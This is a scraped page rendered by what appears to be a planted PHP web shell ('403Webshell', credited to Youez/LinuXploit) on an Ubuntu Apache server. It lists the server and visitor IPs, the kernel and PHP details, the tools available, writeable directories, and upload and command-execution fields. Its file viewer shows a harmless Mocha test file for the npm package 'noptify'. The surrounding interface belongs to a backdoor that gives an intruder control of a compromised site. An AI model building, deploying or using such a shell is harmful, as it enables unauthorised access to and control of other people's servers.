403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/node_modules/noptify/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/node_modules/noptify/test/collectable.js
var noptify = require('..');
var assert = require('assert');


describe('Collectable', function() {

  it('provides the helper method to read from stdin', function() {
    var program = noptify();
    assert.ok(typeof program.stdin === 'function', 'stdin defined');
  });

  it('is invoked only when .parse() is called', function(done) {
    var program = noptify(['', '']);
    var str = 'testing out stdin helper';
    program.stdin(function(err, res) {
      assert.equal(res, str);
      done();
    });

    program.parse();

    process.nextTick(function() {
      process.stdin.emit('data', str);
      process.stdin.emit('end');
    });
  });


  it('.files()', function(done) {
    var program = noptify(['', '', 'test/fixtures/a.js', 'test/fixtures/b.js']);
    program.parse();

    program.files(function(err, data) {
      assert.equal(data, 'a\nb\n');
      done();
    });

  });

});

Youez - 2016 - github.com/yon3zu
LinuXploit